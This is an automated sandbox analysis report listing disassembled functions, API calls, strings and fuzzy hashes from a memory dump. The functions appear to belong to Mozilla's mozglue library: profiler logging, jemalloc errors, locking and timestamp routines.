Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 26867c3bacff1d485ec6ebd0648fcade2b49c8b37bd3f87c85131c57aac26e4a
Instruction ID: a6c8d85472ef606151e2da7f9766e1ce02771e4fb6e21025a1828335a563efde
Opcode Fuzzy Hash: 26867c3bacff1d485ec6ebd0648fcade2b49c8b37bd3f87c85131c57aac26e4a
Instruction Fuzzy Hash: 16115174705242DBDF20CF94CA0DE9637F5A75A32AF004A39F90AA2F40D730A406CBD5

Function 6C7DF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF561

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

GetCurrentThreadId.KERNEL32 ref: 6C7DF577
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF585
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C7DF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C7DF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C7DF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C7DF499

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3b0e8d83d3acf5e463d6a7e995dea7effd087304f98e6fa0f4e969fee69e36f0
Instruction ID: 35d5fa12ad45d0d3bfb7379c82570b6e521646e584cec1c4ab4aed1cb11262ba
Opcode Fuzzy Hash: 3b0e8d83d3acf5e463d6a7e995dea7effd087304f98e6fa0f4e969fee69e36f0
Instruction Fuzzy Hash: 4CF0B4B52002029FDA206B65984EA6B7BFCEB962ADF010435FA0683F02DB715805C7E0

Function 6C7A0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C7A0DF8), ref: 6C7A0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C7A0EA1
__Init_thread_footer.LIBCMT ref: 6C7A0EB5
FreeLibrary.KERNEL32 ref: 6C7A0EC5

Strings

kernel32.dll, xrefs: 6C7A0E7D
GetProcessMitigationPolicy, xrefs: 6C7A0E9B

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 954cf48bfb057436b5d4719ec6c4885c32ba13fd3adbe04fcb8e4ef7f53ff2c6
Instruction ID: 9b3bfdaad647476855f657189fbf4c2bd8efc22b23694119d7a61ba60ed8553a
Opcode Fuzzy Hash: 954cf48bfb057436b5d4719ec6c4885c32ba13fd3adbe04fcb8e4ef7f53ff2c6
Instruction Fuzzy Hash: 070128747082C38BDB209FE8DA5AA5233FAE76731DF104E35D90782F60D770A405EA82

Function 6C7DF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C7DF598), ref: 6C7DF621

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

GetCurrentThreadId.KERNEL32 ref: 6C7DF637
AcquireSRWLockExclusive.KERNEL32(6C81F4B8,?,?,00000000,?,6C7DF598), ref: 6C7DF645
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8,?,?,00000000,?,6C7DF598), ref: 6C7DF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C7DF62A

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 55447f3c88d14000ecb80336e7eed6be4bfe256ba8c88633a65356fbd457c479
Instruction ID: 9d236dfc7cd079d21e379f6138c2b3356a651ccbaee0bf2e7e17ff764419db79
Opcode Fuzzy Hash: 55447f3c88d14000ecb80336e7eed6be4bfe256ba8c88633a65356fbd457c479
Instruction Fuzzy Hash: 5EF0B4B5200202AFDA206B65884EA6B7BFCEB962ADF050435FA0583F02CB355C05C7B0

Function 6C7D05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C7CCFAE,?,?,?,6C7931A7), ref: 6C7D05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C7CCFAE,?,?,?,6C7931A7), ref: 6C7D0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C7931A7), ref: 6C7D061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C7931A7), ref: 6C7D0627

Strings

<jemalloc>, xrefs: 6C7D05FA, 6C7D060F
: (malloc) Error in VirtualFree(), xrefs: 6C7D061B, 6C7D0625

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 95726af5bffbdf5bb56bf757b9e3bc9c319429214b426d64d8b080789c297487
Instruction ID: 544c5d105342aa7708acd5d27da7b526a3c7cad3694f616db662bc29d004cc50
Opcode Fuzzy Hash: 95726af5bffbdf5bb56bf757b9e3bc9c319429214b426d64d8b080789c297487
Instruction Fuzzy Hash: 93E08CE2A1101037F524225AAC87EBB765CDBC6138F09003DFD0D83302E94AAD1A91F7

Function 6C7A05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42d9c792427584e92dc860b167cf6e26af8c896f04cdf1cef5757bdf495bb8e1
Instruction ID: efbbbfc2d614c118ab1b3ce23a30cbb6b192891611d3d32438d1c6d9f71606e4
Opcode Fuzzy Hash: 42d9c792427584e92dc860b167cf6e26af8c896f04cdf1cef5757bdf495bb8e1
Instruction Fuzzy Hash: F8A149B0A00645CFDB24CF69C684B9AFBF1BF49304F448A6ED44A97B01E730A946CF90

Function 6C7F14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7F14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7F14E2
GetCurrentThreadId.KERNEL32 ref: 6C7F1546
InitializeConditionVariable.KERNEL32(?), ref: 6C7F15BA
free.MOZGLUE(?), ref: 6C7F16B4

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: e02bd38c299d1f43c0aada6eb4c09a3a329bfcbae63deb6e528e14e59d03f19b
Instruction ID: d9faa21e540a1adb3c74399d59e3d8f56a5591d111baea9309bbed70fc52008f
Opcode Fuzzy Hash: e02bd38c299d1f43c0aada6eb4c09a3a329bfcbae63deb6e528e14e59d03f19b
Instruction Fuzzy Hash: D361E1B2A007449BDB218F25C988BDEB7B5BF89308F44852CED9A57701DB31E949CBD1

Function 6C7E9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7E9FDB
free.MOZGLUE(?,?), ref: 6C7E9FF0
free.MOZGLUE(?,?), ref: 6C7EA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7EA0BE
free.MOZGLUE(?,?), ref: 6C7EA0D5
free.MOZGLUE(?,?), ref: 6C7EA0EB

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 88bab21e2d60986a3542b3e25119656a149e0d23378747d450f3fbdef93acac3
Instruction ID: cd0431479782f0977582b4867fd0616c6c327f9e3e4b798f033b3157a5c6bb50
Opcode Fuzzy Hash: 88bab21e2d60986a3542b3e25119656a149e0d23378747d450f3fbdef93acac3
Instruction Fuzzy Hash: FC61C1765087019FC752CF18C58059AB7F5FF88328F548669E8999BB02E731E986CBC1

Function 6C7EDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7EDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C7ED38A,?), ref: 6C7EDC6F
free.MOZGLUE(?,?,?,?,?,6C7ED38A,?), ref: 6C7EDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C7ED38A,?), ref: 6C7EDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C7ED38A,?), ref: 6C7EDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C7ED38A,?), ref: 6C7EDD4A

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 40fb21649571bad7aa7970b8c0075c3a679bb02ef5248d9f76feabbe590f02d7
Instruction ID: acb37783bb6fe1a43968c2205bb41e2f379fa7848263e0c5302a345f40a594af
Opcode Fuzzy Hash: 40fb21649571bad7aa7970b8c0075c3a679bb02ef5248d9f76feabbe590f02d7
Instruction Fuzzy Hash: D6419CB6A00216CFCB40CF99C9859AABBF6FF8C318B154469D905ABB20D771FC00CB90

Function 6C7D6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C7CFA80: GetCurrentThreadId.KERNEL32 ref: 6C7CFA8D
Part of subcall function 6C7CFA80: AcquireSRWLockExclusive.KERNEL32(6C81F448), ref: 6C7CFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7D6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C7D67C8

Part of subcall function 6C7E4290: memcpy.VCRUNTIME140(?,?,6C7F2003,6C7F0AD9,?,6C7F0AD9,00000000,?,6C7F0AD9,?,00000004,?,6C7F1A62,?,6C7F2003,?), ref: 6C7E42C4

Strings

data, xrefs: 6C7D6593

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: bddff6b76d2220ea69f2a306371ab0660cf95b0c07a6a1207f2d2fe843c29953
Instruction ID: eda6aa1d2a8ef6e6d9e0f90101cf8e6c016e88af8d12ea5f613af4987a63aeab
Opcode Fuzzy Hash: bddff6b76d2220ea69f2a306371ab0660cf95b0c07a6a1207f2d2fe843c29953
Instruction Fuzzy Hash: AED1D075A083418FD724CF24CA49B9FB7E5AFD5308F108D2EE58987B51DB30A949CB92

Function 6C7CF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C7CF480

Part of subcall function 6C79F100: LoadLibraryW.KERNEL32(shell32,?,6C80D020), ref: 6C79F122
Part of subcall function 6C79F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C79F132

CloseHandle.KERNEL32(00000000), ref: 6C7CF555

Part of subcall function 6C7A14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C7A1248,6C7A1248,?), ref: 6C7A14C9
Part of subcall function 6C7A14B0: memcpy.VCRUNTIME140(?,6C7A1248,00000000,?,6C7A1248,?), ref: 6C7A14EF

Part of subcall function 6C79EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C79EEE3

CreateFileW.KERNEL32 ref: 6C7CF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C7CF523

Strings

\oleacc.dll, xrefs: 6C7CF4CB

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: ba102e80b17c42ffb634b6d35d0a598f03835573f5be97c74bce8095909e9ba4
Instruction ID: 94356365dac283f7867e2f601eb238319083c4f976e932ea8e4508ec38c04cc2
Opcode Fuzzy Hash: ba102e80b17c42ffb634b6d35d0a598f03835573f5be97c74bce8095909e9ba4
Instruction Fuzzy Hash: 5641B4707087119FE720DF68DA88A9BB7F4AF44318F100A2CF69583650EB30DA49CB93

Function 6C7DE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DE04F

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7DE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7DE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C7DE057

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 554bc3284c8aca6d3213ca1c96bc9de6e18cb298a01b71499f14612810854671
Instruction ID: a1276f1c1a6d6c7b9ba29b267d056351b05ce7b00d433d3912503d4e8540ec61
Opcode Fuzzy Hash: 554bc3284c8aca6d3213ca1c96bc9de6e18cb298a01b71499f14612810854671
Instruction Fuzzy Hash: 4721BE74B001098FDF059F64CA5CAAEBBB5AF8520CF254438E90AA7B41DB31B909C7E1

Function 6C7F74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C7F7526
__Init_thread_footer.LIBCMT ref: 6C7F7566
__Init_thread_footer.LIBCMT ref: 6C7F7597

Strings

kernel32.dll, xrefs: 6C7F7557
UnmapViewOfFile2, xrefs: 6C7F7552

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 0ce351a4db85467a67da004cd8d0e15b95ba293e9df5a2117ba58b78815dabfc
Instruction ID: ef5f6df2b33ca3ea8655ba74aaf48a1f689768f1c6337337ad6442e26968efb1
Opcode Fuzzy Hash: 0ce351a4db85467a67da004cd8d0e15b95ba293e9df5a2117ba58b78815dabfc
Instruction Fuzzy Hash: 26210331704583ABCB258FA88A9DE5933F6EB97339B00493DE42947F40C720A802C6D2

Function 6C7FA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81F770,-00000001,?,6C80E330,?,6C7BBDF7), ref: 6C7FA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C7BBDF7), ref: 6C7FA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C7BBDF7), ref: 6C7FA7E4
LeaveCriticalSection.KERNEL32(6C81F770), ref: 6C7FA80A

Strings

accelerator.dll, xrefs: 6C7FA7BF

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: d006cdffdfdf0974cfc7742753c502be2351cb8b28d2f0d42a5eec974d072fda
Instruction ID: 0aa340f60797ff1ddb14220d432d3846543765fc8fb700af2cebf79cf3fe92d1
Opcode Fuzzy Hash: d006cdffdfdf0974cfc7742753c502be2351cb8b28d2f0d42a5eec974d072fda
Instruction Fuzzy Hash: 2501DFB07003449FAB14CF59D9C5C217BF8FB9A328700887AE8098BB01DB709800CBA1

Function 6C7F75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C7F748B,?), ref: 6C7F75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C7F75D7
FreeLibrary.KERNEL32(?,6C7F748B,?), ref: 6C7F75EC

Strings

ntdll.dll, xrefs: 6C7F75B3
RtlNtStatusToDosError, xrefs: 6C7F75D1

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 101e447fefcafa44e3a86cc91004d09219505d5c2354e6f5eca2c1616ae0b6dd
Instruction ID: 4137a3056a0593b80eda841fb06a6e9c07bac7b3b068f978032fbb1fb4e50d3c
